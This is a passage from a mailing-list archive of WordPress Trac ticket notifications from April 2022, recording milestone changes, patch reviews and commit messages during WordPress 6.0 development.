* type: enhancement => task (blessed) * component: Gallery => Build/Test Tools * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:04:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:04:54 -0000 Subject: [wp-trac] [WordPress Trac] #55213: Respect _fields query arg in preloaded requests In-Reply-To: <051.d712b5ccb9e8118ed260725e0fdb22c9@wordpress.org> References: <051.d712b5ccb9e8118ed260725e0fdb22c9@wordpress.org> Message-ID: <066.df90402f7fe72619f32b3e4bece60e38@wordpress.org> #55213: Respect _fields query arg in preloaded requests -------------------------+--------------------- Reporter: jsnajdr | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 released yesterday, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55213#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:10:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:10:09 -0000 Subject: [wp-trac] [WordPress Trac] #55077: Explain the purpose of input fields like title and description when editing media In-Reply-To: <055.4f335c5bb8e0f0b8e8adf096b9ef6b03@wordpress.org> References: <055.4f335c5bb8e0f0b8e8adf096b9ef6b03@wordpress.org> Message-ID: <070.793346f1d4e82c3016fe55200ecc4daa@wordpress.org> #55077: Explain the purpose of input fields like title and description when editing media -------------------------+--------------------------------- Reporter: jameskoster | Owner: antpb Type: enhancement | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: | Focuses: ui, administration -------------------------+--------------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 released yesterday, I'm moving this one to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55077#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:13:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:13:45 -0000 Subject: [wp-trac] [WordPress Trac] #54770: The term "Current Theme" is ambiguous In-Reply-To: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> References: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> Message-ID: <068.7836d6334d7e39b7c96763e1291fd0b1@wordpress.org> #54770: The term "Current Theme" is ambiguous -------------------------+--------------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, administration -------------------------+--------------------------------- Comment (by costdev): With 6.0 Beta 1 released yesterday, I'm mindful that this enhancement ticket is still in the queue for the 6.0 milestone. Do we have any further input on this discussion? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54770#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:15:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:15:05 -0000 Subject: [wp-trac] [WordPress Trac] #55338: Twenty Eleven: Invalid use of display and float together in style.css file In-Reply-To: <054.52ea2b5713d909b9de0cd129fecc2569@wordpress.org> References: <054.52ea2b5713d909b9de0cd129fecc2569@wordpress.org> Message-ID: <069.e5a62cf86349f4dccf87683743266853@wordpress.org> #55338: Twenty Eleven: Invalid use of display and float together in style.css file -------------------------------------------+--------------------- Reporter: kajalgohel | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Bundled Theme | Version: 3.2 Severity: normal | Resolution: Keywords: has-patch needs-testing close | Focuses: css -------------------------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 released yesterday, I'm moving this ticket, and #55362 to the 6.1 milestone pending further discussion on whether this change is desired. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55338#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:15:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:15:32 -0000 Subject: [wp-trac] [WordPress Trac] #55362: Twenty Thirteen : Invalid use of display and float together in style.css file In-Reply-To: <054.d3f65df8f9b9f283e374f26b944ef9ed@wordpress.org> References: <054.d3f65df8f9b9f283e374f26b944ef9ed@wordpress.org> Message-ID: <069.832792a2aab9954d9dfaf684c19ffada@wordpress.org> #55362: Twenty Thirteen : Invalid use of display and float together in style.css file ---------------------------------------------+--------------------- Reporter: kajalgohel | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Bundled Theme | Version: 3.6 Severity: normal | Resolution: Keywords: has-screenshots has-patch close | Focuses: css ---------------------------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: With 6.0 Beta 1 released yesterday, I'm moving this ticket, and #55338 to the 6.1 milestone pending further discussion on whether this change is desired. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55362#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:23:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:23:10 -0000 Subject: [wp-trac] [WordPress Trac] #55569: Fix Blog Post Text Color In-Reply-To: <056.77653cb82117c95411917f45503cccb9@wordpress.org> References: <056.77653cb82117c95411917f45503cccb9@wordpress.org> Message-ID: <071.f20ebf516bebe0bbce1e5269c3023273@wordpress.org> #55569: Fix Blog Post Text Color -----------------------------+--------------------- Reporter: ugyensupport | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots | Focuses: css -----------------------------+--------------------- Changes (by sabernhardt): * keywords: has-screenshots reporter-feedback => has-screenshots * severity: blocker => normal * milestone: Awaiting Review => 6.0 Comment: Thanks for the report! Could you open an issue on the [https://github.com/WordPress/gutenberg/issues/new/choose Gutenberg repository]? I think the title does not have the specified text color because it is set as a link (and the link color does not inherit the block color). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55569#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:23:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:23:27 -0000 Subject: [wp-trac] [WordPress Trac] #53451: Chrome 92 userAgent notice In-Reply-To: <057.e8205cf1cac86d4bb982e26a477d7a16@wordpress.org> References: <057.e8205cf1cac86d4bb982e26a477d7a16@wordpress.org> Message-ID: <072.749b727603287b4ccd6d1f686100528c@wordpress.org> #53451: Chrome 92 userAgent notice ----------------------------+------------------------------ Reporter: superpoincare | Owner: adamsilverstein Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: Severity: minor | Resolution: Keywords: | Focuses: javascript ----------------------------+------------------------------ Changes (by costdev): * type: enhancement => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/53451#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:28:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:28:08 -0000 Subject: [wp-trac] [WordPress Trac] #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() In-Reply-To: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> References: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> Message-ID: <073.778ffc720b7ab63cb060f004e31d0423@wordpress.org> #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() --------------------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+--------------------- Changes (by azouamauriac): * Attachment "55405.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55405> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 23:37:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 23:37:13 -0000 Subject: [wp-trac] [WordPress Trac] #55569: Fix Blog Post Text Color In-Reply-To: <056.77653cb82117c95411917f45503cccb9@wordpress.org> References: <056.77653cb82117c95411917f45503cccb9@wordpress.org> Message-ID: <071.f3d51f00bf467e619b5f14ce06141071@wordpress.org> #55569: Fix Blog Post Text Color -----------------------------+--------------------- Reporter: ugyensupport | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-screenshots | Focuses: css -----------------------------+--------------------- Changes (by sabernhardt): * version: trunk => 5.9 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55569#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 00:02:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 00:02:31 -0000 Subject: [wp-trac] [WordPress Trac] #55288: Site Editor on 5.9.1 fails to find homepage template for FSE themes, on WP subdirectory installation In-Reply-To: <055.066d0ca728e3fb5959c659d12bba3c2b@wordpress.org> References: <055.066d0ca728e3fb5959c659d12bba3c2b@wordpress.org> Message-ID: <070.44bf8df40f8c7554697f97048e49dd38@wordpress.org> #55288: Site Editor on 5.9.1 fails to find homepage template for FSE themes, on WP subdirectory installation --------------------------+----------------------------------------- Reporter: andronocean | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: critical | Resolution: Keywords: dev-feedback | Focuses: javascript, administration --------------------------+----------------------------------------- Comment (by westonruter): Replying to [comment:6 andronocean]: > @westonruter I'm guessing the mixed content error's source is different. Any chance that part goes away if you change the home URL to `https://`? My home URL actually is already HTTPS. It turns out that the editor actually works fine when I have the latest Gutenberg active, that is when I go to `/path/to/wp/wp- admin/themes.php?page=gutenberg-edit-site`. When I have Gutenberg deactivated and go to `/path/to/wp/wp-admin/site-editor.php` then I get the error. So maybe something in the latest Gutenberg version(s) have fixed the issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55288#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 00:02:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 00:02:46 -0000 Subject: [wp-trac] [WordPress Trac] #54728: Coding Standards fixes for WP 6.0 In-Reply-To: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> References: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> Message-ID: <073.90bab2708ccc2ab4af95ddc888396e65@wordpress.org> #54728: Coding Standards fixes for WP 6.0 ----------------------------+------------------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Comment (by SergeyBiryukov): In [changeset:"53175" 53175]: {{{ #!CommitTicketReference repository="" revision="53175" Query: Restore late `compact()` call for SQL clauses in `wp-includes /class-wp-*-query.php`. This addresses a backward compatibility break where `posts_groupby` and other filters were applied, but their results were subsequently discarded and earlier values were used instead. Follow-up to [52974]. Props nextend_ramona. See #54728, #meta6273. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54728#comment:53> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 00:07:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 00:07:32 -0000 Subject: [wp-trac] [WordPress Trac] #55507: CSS Fix required in twenty-twenty-two.css to prevent overflow issue with single product layouts when using WooCommerce In-Reply-To: <049.f51a3a4bc05c69379eb787fbddc59337@wordpress.org> References: <049.f51a3a4bc05c69379eb787fbddc59337@wordpress.org> Message-ID: <064.beb540fcbe79a2abee2c2fba8b7060b7@wordpress.org> #55507: CSS Fix required in twenty-twenty-two.css to prevent overflow issue with single product layouts when using WooCommerce --------------------------+---------------------- Reporter: 1wdtv | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Plugins | Version: 5.9.2 Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by sabernhardt): * status: new => closed * resolution: => invalid * component: Themes => Plugins * milestone: Awaiting Review => Comment: Thanks for the report! The twenty-twenty-two.css file is part of the WooCommerce plugin, and they have an issue tracker in their GitHub repository: https://github.com/woocommerce/woocommerce/issues Please open an issue there. I'll close this ticket as invalid (not a core bug). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55507#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 00:29:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 00:29:09 -0000 Subject: [wp-trac] [WordPress Trac] #55096: Floating toolbar should be in left white space margin In-Reply-To: <057.73fe2ebe60012dfcc943ce14507f3941@wordpress.org> References: <057.73fe2ebe60012dfcc943ce14507f3941@wordpress.org> Message-ID: <072.60037865e044725be6125861c5d76200@wordpress.org> #55096: Floating toolbar should be in left white space margin -----------------------------+-------------------------------- Reporter: ostinatofreak | Owner: (none) Type: feature request | Status: closed Priority: normal | Milestone: Component: Editor | Version: Severity: normal | Resolution: reported-upstream Keywords: block-editor-ui | Focuses: ui -----------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: Awaiting Review => Comment: Thanks for opening an issue on GitHub! https://github.com/WordPress/gutenberg/issues/38592 I'll close this ticket now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55096#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 00:32:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 00:32:35 -0000 Subject: [wp-trac] [WordPress Trac] #55561: Twenty Seventeen: Blurry header image on mobile In-Reply-To: <056.f2c415d691ad13701f9bf2250ac31e9d@wordpress.org> References: <056.f2c415d691ad13701f9bf2250ac31e9d@wordpress.org> Message-ID: <071.c469968abdd0da0da8926ba93fc56344@wordpress.org> #55561: Twenty Seventeen: Blurry header image on mobile ---------------------------+------------------------------ Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Changes (by sabernhardt): * component: General => Bundled Theme -- Ticket URL: <https://core.trac.wordpress.org/ticket/55561#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 01:29:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 01:29:50 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.cb1f4d7cfbb7c52151315abf9ff85034@wordpress.org> #55463: Add a limit to _prime_*_cache functions --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: performance --------------------------------------+--------------------------- Changes (by peterwilsoncc): * keywords: good-first-bug has-patch commit => good-first-bug has-patch Comment: Replying to [comment:6 spacedmonkey]: > I saw similar results in multiple test runs. The improve is not as much as I hoped but it something. > > Limits normally do improve the performance a query, as they allow queries to stop early. But looking at this [https://stackoverflow.com/questions/13846691/adding-limit-clause-to- mysql-query-slows-it-down-dramatically thread], it seems that the improve only comes when query is against a non indexed field. I suspect this is why my tests were sometime showing the patched version as faster, sometimes the unpatched version. I'm inclined to leave it out until you and I are both sure there is a gain. Mainly for the sake of code clarity. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 01:47:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 01:47:08 -0000 Subject: [wp-trac] [WordPress Trac] #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() In-Reply-To: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> References: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> Message-ID: <073.52af40aaced2c78ebbe8305bca698d2e@wordpress.org> #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() --------------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => accepted -- Ticket URL: <https://core.trac.wordpress.org/ticket/55405#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 03:21:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 03:21:37 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.c3545f960445b36cd713160826ce0a83@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion | -------------------------------------------------+------------------------- Comment (by peterwilsoncc): Replying to [comment:18 costdev]: > I think this docs issue is unlikely to lead to a change in PHP source. There are open issues for other pages where nullable parameters aren't shown as such. Thanks. ---- I threw JJJ's [https://github.com/WordPress/wordpress-develop/pull/2583 patch up on GitHub] to get the tests running. It looks like the only tests that are failing are in `Tests_DB::test_parse_db_host` for a quite expected reason: type errors. On #41722 I can't see any discussion as to why the port was passed around as a string, so I suspect an oversight. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 04:22:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 04:22:32 -0000 Subject: [wp-trac] [WordPress Trac] #54572: Add a function for updating the existing role instead of removing, then adding one In-Reply-To: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> References: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> Message-ID: <071.19cb08c1b6441ef9bb8b7100b0298f04@wordpress.org> #54572: Add a function for updating the existing role instead of removing, then adding one -------------------------------------------------+------------------------- Reporter: maksimkuzmin | Owner: (none) Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Role/Capability | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- refresh Comment: In the [https://github.com/WordPress/wordpress-develop/pull/2585 linked pull request], I've added a little tidy up to [attachment:"54572.diff"] : * split unit tests to different types of update * added a test to ensure `user_can()` works as expected after a role update * modified the docblocks * matched the functions arguments to the methods arguments * left the `empty( $role )` check as is, it's used as an array key only so that should keep the values sensible -- Ticket URL: <https://core.trac.wordpress.org/ticket/54572#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 04:31:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 04:31:14 -0000 Subject: [wp-trac] [WordPress Trac] #54690: Add ability to filter whole notification email in retrieve_password In-Reply-To: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> References: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> Message-ID: <072.7d83e1181e945c656eebb970c75462f3@wordpress.org> #54690: Add ability to filter whole notification email in retrieve_password -------------------------------------------------+------------------------- Reporter: connapptivity | Owner: audrasjb Type: feature request | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: docs note commit | -------------------------------------------------+------------------------- Comment (by peterwilsoncc): Tests are passing for [attachment:"54690.2.diff"] and the change makes sense, thanks for catching this before the release @SergeyBiryukov. @audrasjb Do you have time to do the commit honours? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54690#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 06:03:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 06:03:38 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.2a59dbd62c0f1496d557a4936a2c9d9a@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53176" 53176]: {{{ #!CommitTicketReference repository="" revision="53176" Docs: Fix `@link` URLs in `get_merged_data()` Docblock. This addresses some 404s found on Helphub links by replacing the related `@link` sources. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:65> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 06:07:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 06:07:12 -0000 Subject: [wp-trac] [WordPress Trac] #54690: Add ability to filter whole notification email in retrieve_password In-Reply-To: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> References: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> Message-ID: <072.94a66bed6281ca66ed6443d2667af186@wordpress.org> #54690: Add ability to filter whole notification email in retrieve_password -------------------------------------------------+------------------------- Reporter: connapptivity | Owner: audrasjb Type: feature request | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: docs note commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch has-unit-tests needs-dev-note commit => has-patch has-unit-tests needs-dev-note commit assigned-for-commit Comment: Great, thanks all 👍 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54690#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 06:13:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 06:13:54 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.1a9f7e212997cdf8531e67cb69b4da1a@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53177" 53177]: {{{ #!CommitTicketReference repository="" revision="53177" Docs: Small fixes in `WP_Theme_JSON_Resolver` docblocks, as per documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:66> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 06:22:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 06:22:58 -0000 Subject: [wp-trac] [WordPress Trac] #54690: Add ability to filter whole notification email in retrieve_password In-Reply-To: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> References: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> Message-ID: <072.05f01af6df883a2094836c086a134381@wordpress.org> #54690: Add ability to filter whole notification email in retrieve_password -------------------------------------------------+------------------------- Reporter: connapptivity | Owner: audrasjb Type: feature request | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: docs note commit assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53178" 53178]: {{{ #!CommitTicketReference repository="" revision="53178" Users: Update parameters passed to the new `send_retrieve_password_email` and `retrieve_password_notification_email` filters. For consistency with some similar filters like `send_password_change_email` or `send_email_change_email`, and for more flexibility, pass `$user_login` and `$user_data` parameters directly to the new `send_retrieve_password_email` and `retrieve_password_notification_email` filters. Follow-up to [52604], [52605], [52606], [52607]. Props SergeyBiryukov, costdev, peterwilsoncc. Fixes #54690. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54690#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 07:06:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 07:06:27 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.3abe94accd383826b4465de433983cc2@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53179" 53179]: {{{ #!CommitTicketReference repository="" revision="53179" Docs: Misc. Docblocks improvements in the Core User API. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:67> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 07:29:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 07:29:46 -0000 Subject: [wp-trac] [WordPress Trac] #55569: Fix Blog Post Text Color In-Reply-To: <056.77653cb82117c95411917f45503cccb9@wordpress.org> References: <056.77653cb82117c95411917f45503cccb9@wordpress.org> Message-ID: <071.b7497067fffaee2e6edd5bf19e1c79c3@wordpress.org> #55569: Fix Blog Post Text Color -----------------------------+--------------------- Reporter: ugyensupport | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-screenshots | Focuses: css -----------------------------+--------------------- Comment (by ugyensupport): Replying to [comment:2 sabernhardt]: Done - https://github.com/WordPress/gutenberg/issues/40338 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55569#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 09:16:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 09:16:50 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.4ac87c3f17a97dd39a1d82f0d77b5e94@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53180" 53180]: {{{ #!CommitTicketReference repository="" revision="53180" Docs: Removes an irrelevant `@link` mention in `Translation_Entry` Class. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:68> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 11:41:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 11:41:33 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.3ff610e7dad92d360aad6733f7dcec13@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 